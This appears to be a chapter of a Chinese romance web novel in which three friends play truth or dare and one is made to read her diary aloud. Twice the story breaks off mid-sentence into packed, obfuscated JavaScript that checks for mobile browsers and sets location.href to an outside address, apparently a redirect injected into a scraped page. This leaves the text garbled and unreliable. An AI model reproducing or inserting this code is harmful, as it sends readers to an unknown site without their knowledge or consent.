没人回应。 过了许久,周清越拿去空调遥控器放在她面前:“23度,很热吗?” 靠。 “你——”路希突然凑近,眯起眼睛盯着她,“不会是在害羞吧?” 陈真用力地闭了闭眼,路希这个家伙!总是拆她的台! 她做好心里建设,睁开眼睛,对着路希一字一顿说:“胡、说、八、道。” 路希自顾自地啧道:“我刚刚不就是抱你一下,至于这样么。” “……” 像是脑回路突然接了起来,她忽然一脸认真地审问她:“陈真你不会是拉拉吧?” …… 一时之间,陈真也不知是该谢她还是该骂她。 路希:“我就说这么多年跟我纠缠不清,暗恋我就直说。” 陈真觉得路希估计是倒时差,脑子还没完全开机,加上刚刚的恐怖片给她刺激到了,所以现在属于一个半疯癫的状态,恐怕自己都不知道自己在说什么。 陈真:“几个月不见,你智商提高了好多,这都被你发现了。” 身后的周清越轻笑了一声,意外吸引了火力,路希矛头一转,指向他:“这里就我们三个人,你不暗恋我,难道……暗恋周清越?” 周清越的笑意凝了凝,本来应该他回应的,他却起了别的心思,他突然想听一听她会怎么回答。 暗恋他。 陈真莫名地侧头,看着他,想起了之前的一些事情。 出国的前一天,他们三个人约在一起路希送别,能出国留学,明明是该替她高兴的事情,陈真却在那一天难过得难以形容。 一部分是因为离愁别绪,她讨厌离别,她不知道该怎样跟路希告别,好像这一别,她们就很难再见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604695|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 另一部分,是她突然觉得在路希的心里,她没有周清越重要。 明明说好,她们要去南泎河边走一走,就她们两个,可是路希非要周清越一起去。 路希总是在她说话的时候,眼神还是放在周清越身上。 总是在她们两个玩的时候叫上周清越。 总是舍近求远的去问周清越题目,明明那些题她也会的。 这些细碎的失落不断堆积,在她心里堆了一个个沙丘,心头越来越沉。 情绪的爆发是在路希出国前的那个晚上,明明说好,她们要去南泎河边走一走,就她们两个,可是路希非要周清越一起去。 心上的沙丘被龙卷风席卷,黄沙吹散一地,细细密密地落在她的心里。 “你干脆就只和周清越告别好了,还叫我来干什么?”她当时就是这么说的。 听见她的话,路希跳起来骂她:“陈真你有病!” 情绪一旦划破一个口子,就会波涛汹涌地爆发涌出,场面一旦被打破,就是覆水难收。两人都开始争吵,但都是各说各的,好像自己受了天大的委屈,却没有听一听对方说的话。 吵到最后,陈真忍不住问道:“你就那么喜欢他吗?!” 路希毫不避讳地答道:“我就是喜欢他啊!” 回过神来,陈真才发现自己不知不觉地对着周清越愣神儿了许久。 她转过头,稳了稳气息,抬眼看向路希:“暗恋他的人那么多。” 路希有些诧异地看着她。 周清越垂着的眼眸微微抬起,动了动。 拿起杯子喝了一口水,陈真的声音在客厅响起:“只是其中不包括我。” 果然。 周清越的眼眸不动声色地又垂下来。 意料之中的事,为什么要失落呢。 电影在此时演完,结尾的字幕不断向上滚动。陈真起身走到门边,按下开关。 温暖的光顿时照到客厅的每一个角落。 包括周清越微红的眼角。 只不过借口去冰箱拿饮料,掩藏的很好。 灯一亮,陈真觉得刚才的情绪消散了很多,她重新做回沙发,提议道:“我们玩游戏吧。” * 尽管路希不断强调要玩点不一样的,但夜晚的三人居家游戏实在没有太多的选择,最后讨论半天,还是决定玩最俗套的真心话大冒险。 周清越拿出之前野餐用的野餐布,铺在他卧室的地板上,然后拿来一只笔,三个人围坐在这块布周围。 “规则不用多说了吧,笔头转到谁,谁就在真心话和大冒险之间选择一个挑战,每人有一次转移挑战的机会,只有一次,用掉就没了。” 周清越将笔放在布的正中间,简单说明着规则。 他懒散地撑着下巴,乌黑的头发微微遮盖眼睫,“还有问题吗,没有的话我就转了。” 其余两人都说没有。 “那转了。” 他的手指骨节分明,白皙修长,轻轻捏着笔,稍一使力,笔便飞快地转动起来,在肉眼看来,转出了虚影。 随着笔转动的速度越来越慢,直到即将停下来,三人都屏息凝神,盯着那只笔。 直到,笔彻底停下来—— 指向了陈真。 24. 二十四颗星 旋转中的笔很模糊,看不清哪边是笔头,等它的速度慢慢降下来。 陈真的视线随着笔头而动。 笔尖一圈一圈,依次划过每一个人。 最后缓缓停在了她的面前。 路希根本忍不住,开口就嘲笑,一边幸灾乐祸,一边从起身去拿已经准备好的东西:“哦呵呵,陈真啊陈真,接受我们的审判吧!” 那是两个木盒子,一个是真心话盒,另一个是大冒险盒,每一个盒子里都装着五十张小纸条,每一张纸条上面都写着问题或者挑战。 最恐怖的是,这是纸条都是他们以前写的,参与写纸条的不止他们三个,还有张嘉泽,当时年少轻狂,每个人写的纸条内容都极其阴险毒辣。 毕竟当时下笔的时候,都没想到最后受罪的长大以后的自己。 可悲、可叹啊。 “你个中二病,滚出去。”被笔选中的陈真十分不爽。 她丧着脸朝后仰倒在地上,无语凝噎。 可是后脑勺没有意料之中的坚硬和冰凉,而是被温暖和柔软的东西托住,宽大而有力。 她一转头,发现是周清越的手,放在地上托着她的脑袋。 触电般的坐起,心底涌出一股不知名的情愫,莫名其妙的,无法理解的。 她不自在的摸摸后脑勺,然后低下头小声道:“你还挺好心。” 周清越收回手,单手放在膝盖上,眼神从她身上移开,语气淡淡:“怕你碰瓷。” 陈真睨他一眼,哦了一声。 两人沉默之时,路希将拿来的两个木盒子放在布上,然后推到陈真面前。 她最近开始玩塔罗牌,平时没事也爱给别人搞搞占卜什么的,此时氛围上来,她就开始故弄玄虚。 她的食指从左移到右,看着陈真,压低声线,故作神秘问道:“真心话,还是大冒险?” 陈真眼神从惶恐到鄙夷,再到冷漠,她一抬手,覆在了路希的额头上:“我觉得你应该去医院。” …… “周清越你看她!”路希一脸无语地指着陈真。 陈真一脸茫然地摊手,表示无辜。 周清越神情专注,认真地看着她,语气诚恳:“路希,我觉得你可能时差还没倒过来。” 话音刚落,陈真就唯恐天下不乱,着急忙慌地放下果汁,举手抢答道:“我知道!他的意思是,他觉得你脑子有病。” “我跟你说,他现在骂人可厉害了,没点脑子还以为他关心你呢。” 路希:“……你说的没点脑子,指的是我吧?” 也不是这个意思,但也差不多。 “你他丫的快点选!”路希叫道。 “知道了。” 真心话,还是大冒险。 ——你知道吗?如果你有什么见不得人的秘密的话,果断选大冒险,听哥的,准没错。 不知道为什么突然在这个时候想起张嘉泽,但是他说的也挺有道理,陈真还是决定听一听他的。 她犹豫了一下,然后拿起大冒险的木盒子。 路希:“我还以为你这种懒挂的人会选真心话。” 陈真伸手去到盒子里掏起来,在心里盼望着能选到一个容易点的。 周清越接道:“心里有秘密,才不敢选真心话。” 捞纸条的手指一顿,什么意思,是说她因为心虚所以不敢选真心话?可是她喜欢林斯言这事,只有路希知道,周清越应该是不知道的。 她抬起头,望向他,问道,“难道你没有秘密吗?” 本以为他会随便打个哈哈应付过去,可是他没有。 他眼神热切,目光坦荡,声音坚定而坦然:“我有啊。” 他也有秘密。 只是这个秘密关于她,她却不知道。 他也不敢让她知道。至少,现在不敢。 他靠在床沿边,笑起来:“所以我也不敢选真心话啊。” 于此同时,陈真终于选好了纸条。 打开纸条,上面写着一行字。 陈真认出这是自己的字迹。 但上面的内容如此冷酷而陌生。 【抽到的人公开读自己最近十天的日记(要抑扬顿挫有感情地读)。】 陈真捏着纸条,整个人摊在地上。 “不……” 她写在日记里的能是什么好东西啊,不仅要当众读出来,还要充满感情地读,简直比真心话还恐怖。 陈真捂着脸想了半天,还是没办法接受,于是拿出底牌:“我…我能不能重新选,我愿意选真心话。” “不行。”周清越直接拒绝,“就这个。” “那……每个人不是有一次转移挑战的机会么……”陈真知道自己不占理,小声嘟囔。 “第一局默认不能使用转移牌。”周清越说。 “谁定的?” “我定的。” 周清越搭着床沿利落起身,然后走到门边,笑容灿烂:“去拿日记本吧。” 实在没有找不到其他借口,陈真只能不情不愿地起来,龟速挪到门口。 “等你。”周清越说。 陈真走到他旁边,哼了一声。 等着看她的笑话吧。 她现在只能盼望最近十天自己没有在日记本上写什么见不得人的东西,不然她真的会当场社死。 拿到日记本的第一时间,她就飞快地翻到最后。 心里默念着,正常点正常点正常点。 结果打开一看,直接两眼一黑。 好消息,这十天一共就两篇日记。 坏消息,两篇都不是正经东西。 为什么!!偏偏!是关于林斯言和周清越他们两个的!还分得刚刚好,一篇写林斯言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617738|142778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一篇写周清越。 里面的一些语句她在写下的时候,难以想象有一天要被念出来。 轻轻地闭上双眼,陈真给自己掐人中。 这到底要怎么念出来啊,而且,还是当着其中一个主人公的面。 * “你确定就两篇?唬我们呢吧?”听完陈真的话,路希一副不相信的表情。 “两篇还不够你们笑的?”陈真反问道,她现在已经看开了,不是被嘲笑嘛,没什么大不了的。 想了一下,路希满意地点点头:“也是。” “那我念了。” “嗯。”周清越颇有兴趣地应道。 “记得抑扬顿挫有感情。”路希补充道。 “……” 第一篇,九月十九日,天气,晴。 陈真深吸一口气然后呼出去,开始念第一句:“我最近有点搞不懂我自己了,这句话说出来很奇怪,但事实确实如此。” 刚念完第一句,陈真就停下来了,因为剩下两个人的笑声让她根本读不下去。 周清越和路希笑得停不下来,尤其是路希,从这头打着滚笑到那头,还捂着肚子笑,上气不接下气地说着不行了不行了。 “喂喂喂,有这么好笑?”陈真已经无法容忍他们再这样嘲笑自己了。 她也是有尊严的好不好! 周清越含着笑意的眼睛与她对上,可还没坚持一秒,就又别过脸去笑了。 “继续,继续。”路希笑得趴在地上,她抬抬手示意陈真别停,“太好玩了,能不能让陈真念一晚上日记啊?” 陈真:“……” 她劝了自己很久,才重新开始读下面的内容。 【今天下晚自习回宿舍的路上,碰见了林斯言,于是我们同路一起走,我跟他说我最近喜欢上了《查理九世》,他说他有全套,可以借给我。我们的兴趣似乎总是很相似,我喜欢的东西,他也感兴趣。也是因为这样我们才慢慢熟悉的吧。 走到一半,身后跑来一个女生,一把抱住了他,虽然抱得很轻,但很自然,她说她的饭卡丢了,但是要去超市买东西,所以要借林斯言的卡,顺便要他陪她一起去。 林斯言转身跟我耐心解释,说是他的好朋友,我只说嗯。 已经不是第一次这样了,他的好朋友好多,每一个都这么亲密,如果这样才算好朋友,那我跟他应该只算普通朋友。 我突然觉得。 他很好。 可是他好像对所有人都很好。 走在回去的路上,我又想起了上次的芒果。 是不是他要记太多人的喜好,所以把我的遗漏了呢。 喜欢到底是什么一种感觉,我好像到现在都没有彻底明确。 我搞不懂他,也搞不懂我自己。 这就是今天的,发生在我身上的,奇怪的一件小事。】